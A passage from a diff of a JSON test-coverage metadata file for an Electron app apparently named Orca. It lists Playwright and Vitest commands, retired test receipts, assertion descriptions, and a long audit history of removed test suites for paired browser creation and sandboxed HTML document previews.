tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\",\n \"result\": \"passed\",\n \"durationSeconds\": 9.1,\n \"summary\": \"The full isolated headless-serve journey passed 1/1, applying both reconciliation and capability faults to the same live host while preserving the visible-toast and exact inventory-restoration oracle.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-12\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line\",\n \"result\": \"passed\",\n \"durationSeconds\": 24.3,\n \"summary\": \"A visible desktop host and separate paired Electron client held one exact host page before client materialization, forced the post-create timeout, then proved exact host rollback, empty-split removal, failure UI, no local fallback, and surviving editor and terminal.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-12\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\",\n \"result\": \"passed\",\n \"durationSeconds\": 18.5,\n \"summary\": \"The same exact-page hold, timeout, rollback, client cleanup, no-fallback, editor, and terminal oracle passed against isolated headless serve.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-13\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-browser-create-navigation-deadline.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 18.1,\n \"summary\": \"Two isolated headed Electron/CDP journeys passed: the direct owner-pinned call returned one canonical host ID before held navigation, and the real remote-pane context-menu route materialized that one page without retry or duplicate.\",\n \"currentCommand\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-browser-create-navigation-deadline.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/document-preview/doc-preview-file-reader.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/shared/document-preview/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/sessions/partition-policies/browser-session-partition-policies.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/sessions/partition-policies/browser-session-partition-policies.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/shared/document-preview/doc-preview-scheme.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/shared/document-preview/doc-preview-scheme.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/main/browser/backends/offscreen-browser-backend-lifecycle.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/shared/document-preview/doc-preview-scheme.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/main/browser/backends/offscreen-browser-backend-lifecycle.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/shared/document-preview/doc-preview-scheme.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-page-conversion.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-conversion-publish.test.ts\",\n \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-preview-address-bar-convergence.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=list\",\n \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\",\n \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3\",\n \"npx playwright test --config tests/playwright.config.ts --project=electron-headless tests/e2e/paired-remote-html-preview-local-render.spec.ts --workers=1\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts src/renderer/src/store/slices/browser/browser.test.ts\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-browser-create-navigation-deadline.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line\",\n \"SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\"\n ]\ntestFiles: [\n \"src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts\",\n \"src/renderer/src/store/slices/browser/browser.test.ts\",\n \"src/main/browser/document-preview/doc-preview-file-reader.test.ts\",\n \"src/main/browser/sessions/partition-policies/browser-session-partition-policies.test.ts\",\n \"src/main/browser/document-preview/doc-preview-guest-policy.test.ts\",\n \"src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts\",\n \"src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts\",\n \"src/main/browser/backends/offscreen-browser-backend-lifecycle.test.ts\",\n \"src/shared/document-preview/doc-preview-scheme.test.ts\",\n \"src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts\",\n \"src/renderer/src/store/slices/browser/pages/browser-page-conversion.test.ts\",\n \"src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-conversion-publish.test.ts\",\n \"tests/e2e/paired-remote-html-preview-local-render.spec.ts\",\n \"tests/e2e/paired-preview-address-bar-convergence.spec.ts\",\n \"tests/e2e/paired-browser-create-navigation-deadline.spec.ts\",\n \"tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/renderer/src/store/slices/browser/browser.test.ts\",\n \"assertions\": [\n \"a requested canonical page ID is stored on the page rather than reused as its workspace ID\",\n \"duplicate canonical page IDs are rejected before a second tab can materialize\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-remote-html-preview-local-render.spec.ts\",\n \"assertions\": [\n \"the host's HTML document renders inside the client-local orca-preview guest\",\n \"neither the client browser-workspace count nor the host browser-tab count moves off baseline\",\n \"the preview opens in its own split with mode html-preview and leaves the source editor active\",\n \"an explicit click reactivates the preview, and closing it preserves the source editor, its group, and the terminal\",\n \"the document reports having attempted both its unattended and its post-press egress, so neither absence assertion can pass on a document that never tried\",\n \"a scripted window.open and location.href driven by a real press elsewhere in the document route nothing and move no browser count\",\n \"a real target=_blank press in the rendered document routes out as an Orca browser tab while the preview stays open\"\n ]\n },\n {\n \"file\": \"src/main/browser/document-preview/doc-preview-file-reader.test.ts\",\n \"assertions\": [\n \"reads a document too large for one reply by range under the same grant\",\n \"refuses a document rewritten between ranges instead of splicing versions\",\n \"requires approval for a sibling directory before touching the runtime\"\n ]\n },\n {\n \"file\": \"src/main/browser/document-preview/doc-preview-guest-policy.test.ts\",\n \"assertions\": [\n \"never rebinds a bound guest onto a second grant\",\n \"leaves a re-minted preview registered when the guest it replaced tears down\"\n ]\n },\n {\n \"file\": \"src/shared/document-preview/doc-preview-scheme.test.ts\",\n \"assertions\": [\n \"malformed grant ids and unsupported schemes are refused\",\n \"undecodable percent escapes are refused\"\n ]\n },\n {\n \"file\": \"src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts\",\n \"assertions\": [\n \"a document page's url is blank in the store, in the written session and after restore\",\n \"a document navigation report leaves its URL blank, its title standing and nothing loading; its session excludes preview URLs\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-browser-create-navigation-deadline.spec.ts\",\n \"assertions\": [\n \"a held navigation exceeds the former create deadline while the first RPC returns the exact authoritative host page ID\",\n \"host inventory contains exactly one new page and the user retry branch is never entered\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts\",\n \"assertions\": [\n \"the exact created page exists on the host while publication is held and no browser tab materializes on the client\",\n \"a forced post-create reconciliation timeout closes the exact host page and removes only the reserved empty split\",\n \"a forced capability rejection after caller preflight shows a toast and restores exact host and client inventories\",\n \"headed and headless hosts preserve the unrelated editor and terminal without local fallback\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/document-preview/doc-preview-file-reader.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/shared/document-preview/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/sessions/partition-policies/browser-session-partition-policies.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/sessions/partition-policies/browser-session-partition-policies.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts src/shared/document-preview/doc-preview-scheme.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/shared/document-preview/doc-preview-scheme.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/main/browser/backends/offscreen-browser-backend-lifecycle.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/shared/document-preview/doc-preview-scheme.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts src/main/browser/backends/offscreen-browser-backend-lifecycle.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/shared/document-preview/doc-preview-scheme.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-page-conversion.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-conversion-publish.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts src/renderer/src/store/slices/browser/browser.test.ts\"],\"testFiles\":[\"src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts\",\"src/renderer/src/store/slices/browser/browser.test.ts\",\"src/main/browser/document-preview/doc-preview-file-reader.test.ts\",\"src/main/browser/sessions/partition-policies/browser-session-partition-policies.test.ts\",\"src/main/browser/document-preview/doc-preview-guest-policy.test.ts\",\"src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts\",\"src/main/browser/guest-lifecycle/manager/viewport/browser-manager-annotation-bridge.test.ts\",\"src/main/browser/backends/offscreen-browser-backend-lifecycle.test.ts\",\"src/shared/document-preview/doc-preview-scheme.test.ts\",\"src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts\",\"src/renderer/src/store/slices/browser/pages/browser-page-conversion.test.ts\",\"src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-conversion-publish.test.ts\"],\"assertionRefs\":[{\"file\":\"src/renderer/src/store/slices/browser/browser.test.ts\",\"assertions\":[\"a requested canonical page ID is stored on the page rather than reused as its workspace ID\",\"duplicate canonical page IDs are rejected before a second tab can materialize\"]},{\"file\":\"src/main/browser/document-preview/doc-preview-file-reader.test.ts\",\"assertions\":[\"reads a document too large for one reply by range under the same grant\",\"refuses a document rewritten between ranges instead of splicing versions\",\"requires approval for a sibling directory before touching the runtime\"]},{\"file\":\"src/main/browser/document-preview/doc-preview-guest-policy.test.ts\",\"assertions\":[\"never rebinds a bound guest onto a second grant\",\"leaves a re-minted preview registered when the guest it replaced tears down\"]},{\"file\":\"src/shared/document-preview/doc-preview-scheme.test.ts\",\"assertions\":[\"malformed grant ids and unsupported schemes are refused\",\"undecodable percent escapes are refused\"]},{\"file\":\"src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts\",\"assertions\":[\"a document page's url is blank in the store, in the written session and after restore\",\"a document navigation report leaves its URL blank, its title standing and nothing loading; its session excludes preview URLs\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1412 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1386 changed test sources; no new red/green validation of reduced selectors. Historical account: Audit1308 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The unchanged STA-4063 five-assertion oracle is red 5/5 on scan e4c278eb52 and latest main bc2e30000b, partially green 2/5 on pre-fix PR #14100, green 5/5 on candidate 14b5877a75, and red 3/5 when only the new transaction cleanup boundary is disabled on final candidate a9e6fb7716. The earlier STA-4025 transaction oracle remains red on the post-#13909 base and green on this candidate. The byte-identical STA-4231 headed oracle is red on latest-main b19d99bd00: both 15-second creates return runtime_timeout without a page ID while the host retains two distinct pages after retry. The relevant behavior is unchanged through 0a0ae974d4. The candidate is green with one returned canonical ID, one host/client page, and no retry; disabling only the navigation-independent acknowledgement is red with the same two orphaned pages. The byte-identical 2ec1dcf1 Electron oracle remains red on latest main 346e59c879, green on candidate d05217c40d, and red with only side-preview focus disabled; historical 5806b23f evidence separately proves owning-runtime routing. For the STA-5557 preview behavior the rewritten journey is green 1/1 on the candidate and red when the sole delta makes the same preview action also create a browser tab, failing on clientBrowserWorkspaceCount 1 versus baseline 0. That absence assertion is gated on first reading the rendered document out of the guest, so it cannot pass by the preview never happening. Against pre-STA-5557 builds the journey is red by construction rather than by measurement: those builds have no html-preview tab mode, so the run would fail earlier, at materialization, and it has not been executed against an old build. The reader-facing half is red-green at the unit layer. The 6/6 green and 2/6 red pair recorded earlier on 2026-08-26 measured the superseded shape, where a subresource failure was filtered out entirely; the shipping shape is green 10/10 and red 3/10 when the sole delta makes every failure, asset or entry, set the blocking reason. The containment lines the second review found uncovered are red-green too: installing the scheme handler on the default session instead of the preview session, and widening the scheme privileges with allowServiceWorkers and bypassCSP, each fail the protocol suite as the sole delta, and deleting the html-preview case from the closed-tab cleanup fails the hook suite. The external-link phase added on 2026-08-26 is red-green by measurement: green 3/3 on the trusted-click design, in which the guest's own preload reports a trusted press on an anchor and main answers only a focused preview guest holding a live grant. Its earlier shape depended on the webview carrying allowpopups and went red with zero recorded routing calls when only that attribute was dropped; the preload now intercepts the press before Chromium considers a popup, so the attribute is gone and that measurement retired with it. One further run failed in the paired-client harness before reaching any preview step, when the client window never exposed its store within the launch timeout; that is a harness flake, not a preview signal. The two egress fences added on 2026-08-26 are red-green by measurement in the same journey, whose fixture attempts its own escape on every load and again from inside the handler for the reader's press on the heading: with deny-only navigation sinks the document opens no browser tab and the counts hold at baseline, and with the sole delta that those sinks route again behind a two-second recent-input gate the post-press location.href opens a real tab, clientBrowserWorkspaceCountAllWorktrees 1 against a baseline of 0. An earlier measurement of that same gate, taken when it was the shipping design, showed the unattended on-load egress opening two tabs once the gate was removed entirely; it was retired with the gate, because a gate that cannot tell a script's navigation from the click it followed was never the fence the claim needed. With the guest's IP-handling policy the document reports candidates=0, and with the sole delta that the policy call is removed it reports candidates=6. Both mutants were applied to the shipping module, rebuilt, and run against the live paired journey rather than reasoned about.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Changed selectors have no new soak result after Audit1412; any retained unchanged-source receipts apply only to their own commands. Historical account: Audit1386 changed selectors have no new soak result. Historical account: Changed selectors have no new soak result after Audit1308; any retained unchanged-source receipts apply only to their own commands. Historical account: The candidate passed isolated local macOS Electron runs before and after the final rebase; longer CI and soak history is not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":90,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical prior-selector budget; changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. The transaction adds no timer, polling, retry, subprocess, RPC method, stream opcode, or global host publication. Owner-pinned success performs one create RPC followed by one asynchronous goto, retains one page, and performs zero retry or cleanup calls. A lost create acknowledgement performs one exact close by the preallocated canonical ID and at most one confirming snapshot. Headless goto publishes one worktree-scoped session snapshot after navigation. Capability rejection performs zero RPCs and one bounded empty-group close. The E2E-only one-shot faults are build-gated, retain one promise/flag and a bounded page-id set, and reset after each run. Pending client placements remain capped at 128 and clear on adoption, failure, or teardown.\"}}" ], "demotionRule": "Demote if a paired HTML preview creates a browser workspace on either side, renders from anything other than the orca-preview scheme, serves a read the host reported as truncated or over-cap, serves a document without the self-only content security policy, lets the preview session carry an off-machine request, reads an SSH path that canonicalizes outside its grant root, steals focus from the source editor when it opens, removes unrelated editor or terminal state on close, hides a document that rendered because one subresource was refused, leaves a grant readable after the tab or renderer that owns it is gone, mints one for a sender that is not the trusted renderer, opens a browser tab for a navigation the document started with no one at the keyboard, or lets the guest gather an ICE candidate; or if a paired browser creation this gate still owns produces duplicate client or host identities or loses its requested split." }, @@ -4493,14 +4052,14 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local", "remote-runtime", "ssh", "wsl"], - "coveredPlatforms": ["macos", "linux"], + "coveredPlatforms": ["macos"], "coveredProviders": [], - "coverageNotes": "Audit5896 retires the entire src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts suite. Its remaining alarms are intentionally lost; retained commands are not equivalent replacement coverage. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Audit5743 removes whole identity-scanner/browser retirement/RPC dispatch test suites from active selectors, accepting incremental OSC identity framing, in-memory page retirement generation fencing and spied-runtime SQL dispatch authority/rollback alarms without equivalent replacement or fresh execution. Remaining dated evidence keeps its exact independent selector scope. Historical prior account (preserved verbatim): Audit5577 removes the entire src/main/runtime/browser-host/reconciliation/browser-host-page-placement-replacement.test.ts suite and its active selectors/assertion reference. The mocked replacement-page placement lifecycle sample alarms are intentionally retired without equivalent replacement or fresh gate evidence. Unrelated dated receipts retain their exact original scopes. Historical account follows: Audit5434 deletes the direct browser page inventory suite. URL-copy/duplicate-page preparation and whole-snapshot refusal for an unencodable page alarms are intentionally lost without equivalent replacement. Remove the deleted file from its compound command and testFiles. Other selectors/assertions and all three unrelated complete dated receipts retain their exact scope; no fresh full-gate execution is claimed. Historical prior account (preserved verbatim): Audit5429 trims paired browser-host composition and reconnect tests. Retire composition close-order/whenClosed wiring and explicit inventory-refresh reattachment/publication/cardinality alarms without equivalent replacement. Keep generation/recovery ownership and completed-mutation replay at their existing narrower scope. The removed composition close assertion is retired; surviving file commands remain valid selectors. No fresh full-gate execution or validation of reduced selectors is claimed. All three unrelated complete dated receipts retain their original exact fields and scope. Historical prior account (preserved verbatim): Audit4014 removes the complete browser client page command integration suite and its active command token, test selector and assertion reference. Its synthetic guest lifecycle still exercised real executor/dispatcher/Session/WebContents registry composition: navigation normalization, generation reclaim, spontaneous destruction inventory revocation, and exactly-once route/policy retirement alarms are intentionally lost. Electron guest navigation, proxy resolution and renderer lifecycle were supplied test ports; no equivalent replacement or fresh execution is claimed. The three unrelated active dated receipts and all prior historical strings remain unchanged. Historical prior account (preserved verbatim): Audit3381 intentionally removes the entire browser network tunnel protocol suite and active selectors/assertion. Static envelope/dispatch protocol alarms are lost without equivalent replacement. Remaining tunnel session and stream tests have narrower scopes. All three unrelated complete dated receipts are preserved verbatim with their original selectors; no fresh execution claimed. Module layout SSH policy: Retire the dynamic-forward launch argument/default inventory. The retained actual startup-cancellation entry case covers cancellation classification and termination/probe cleanup requests with supplied process/socket boundaries, not real SSH launch flags or live forwarding. Remove only the retired launch-flags assertion; unrelated dated receipts and their executed commands remain unchanged. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1991: Remove the ordinary browser-host release/sub-cap and exact socket-close counter aliases. Retain the two actual admitted-device fairness and shared ask/browser/wait budget callbacks, which call server handlers with fake WebSockets and controlled pending RPCs. Preserve all3 unrelated dated receipts. No real browser placement or remote tunnel deployment is proved by this admission suite. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked browser placement mutation and projection suites and both prospective selectors. Preserve3 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1973: Remove stale production-registration and negotiated metadata aliases, compound refusal/cleanup aliases, isolated descriptor/route/memory/cleanup microcases. Retain exact negotiated command settlement, duplicate/conflict fencing, ready/replay ordering, superseded-connection cleanup, second-host refusal, ungranted target refusal, public connector redaction, revocation race and route replacement aliases within injected-port scope. Reconciliation and all3 unrelated dated receipts remain unchanged. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1918 narrows browser-host-command-ledger-capacity: intentionally loses injected per-page/global cache expiry-count ceilings and authority/command/result cloning inventory alarms. Retain valid commands/testFile and the oversized-wire pre-admission and delivery-failure outstanding-outcome assertions, backed by unchanged retained real-ledger callbacks with supplied browser delivery. These survivors are not equivalent replacement coverage for the deleted cache/cloning examples. Existing three exact unrelated tunnel/wire receipts retain their original scope; no fresh reduced-gate, real browser/provider, native/platform, soak or measured-budget result is added. Historical prior account (preserved verbatim): Audit1900 reduces ws-outbound-backpressure-queue by seven authored definitions while retaining ten. Current source19 assertions still describe distinct direct/queued aggregate admission, cooperative drain ordering and aggregate claim release. Existing commands, testFiles and all three source19 assertions remain valid and unchanged. The affected2026-11-04 Linux44tests/4files/5.58s receipt is retired whole as historical evidence. The other three unchanged-selector browser receipts retain their exact original scope. Reduced selectors have no fresh integrated, physical-device, mixed-host, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1687 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1686 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1571 removes mock forwarding, capability/schema inventories, private predicates, supplied error/result replays, and filesystem-mocked persistence checks without equivalent replacement claims. Retained changed tests also exercise real local permission-file reread, registry proxy rollback/credential retirement, site display recovery, and pending sender/credential/document admission with injected Electron/UI producers. Retained network tests exercise owned stream credit/cleanup, generation and retirement fences, real loopback proxy/SOCKS bytes and file-backed binding state. SSH/WSL/paired runtime, native sessions, authority producers and storage clears remain injected; simulated relaunch uses filesystem mocks. The unchanged profile-retirement suite was statically reviewed and not rerun. No actual SSH/WSL runtime, native Chromium jar deletion, durable process restart, remote DNS or external site proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1563 retires mock cookie inventories, summary/flag/counter checks, historical replacement/replay narratives and setup-only alarms without equivalent replacement coverage. Retained changed cases exercise owned admission and cleanup, real staged-file lifetime, JSON/SQLite/WAL/schema compatibility, synthetic encryption and native Electron SameSite storage. Session/CDP/credential/write/renderer producers remain injected where recorded. Seven unchanged native definitions are not rerun locally; known stale registry-stub fixtures are not executable proof. Receipts selecting modified tests are retired; unaffected exact-selector receipts remain unchanged. Historical scope before this audit: Audit1559 removes mocked host/lease/reconciliation, event/flag/counter, forwarding, inventory and retry-budget alarms without equivalent replacement coverage. Retained cases establish owned promise, registry, rollback, admission and cleanup boundaries with injected Electron/renderer/host inputs; actual local sockets, file staging and Buffer collection are scoped in the PR. Receipts selecting modified tests are retired; unaffected exact-selector receipts remain historical evidence only. No live paired runtime, rendered browser/profile/TLS or device claim. Historical scope before this audit: Audit1401 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1340 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic protocol, registry, injected-socket, and loopback-listener tests cover strict framing, remote-DNS targets, exact destination-write and source-consumption credit, at most 256 streams per route with pending opens counted inside that cap, 1024 admitted opens per 10-second monotonic window, an 8 MiB per-route application-buffer ledger, shared 32 MiB browser-host and 128 MiB process ledgers across application copies, encrypted client queues, and native WebSocket bufferedAmount, bounded byte/claim/socket-source counts, a four-frame queued-drain quantum, authority epochs, exact host selection, one host per authenticated connection, four hosts per paired device, eight global browser-host polls with four per authenticated paired device, a shared ask/host ceiling that retains one quarter for waits, bounded initial and reconnect 